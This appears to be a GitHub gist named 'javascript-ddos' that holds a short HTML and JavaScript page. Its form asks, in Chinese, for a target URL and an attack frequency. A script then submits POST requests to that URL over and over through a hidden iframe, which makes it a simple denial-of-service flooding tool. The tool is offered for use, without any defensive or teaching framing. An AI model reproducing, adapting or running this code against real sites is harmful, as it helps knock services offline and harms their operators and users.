Skip to content

Instantly share code, notes, and snippets.

@wy36101299
Created May 21, 2015 05:17
Show Gist options
  • Save wy36101299/f48e5c0a4a92d6ddc1d6 to your computer and use it in GitHub Desktop.
Save wy36101299/f48e5c0a4a92d6ddc1d6 to your computer and use it in GitHub Desktop.
javascript-ddos
<form name="attack" id="attack" target="attack_frame" action="" method="POST">
<p>攻擊之網址</p>
<input type="text" id="url" value=""></br>
<p>攻擊之頻率</p>
<input type="text" id="frequent" value=""></br>
</br>
<input id="button" type="submit" onclick="myVar" value="Attack" />
</form>
<iframe name="attack_frame" id="attack_frame"></iframe>
<script type="text/javascript">
button.onclick=function(){
var myVar = setInterval(function(){
document.getElementById("attack").action = document.getElementById("url").value
document.forms["attack"].submit();
},document.getElementById("frequent").value);
}
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment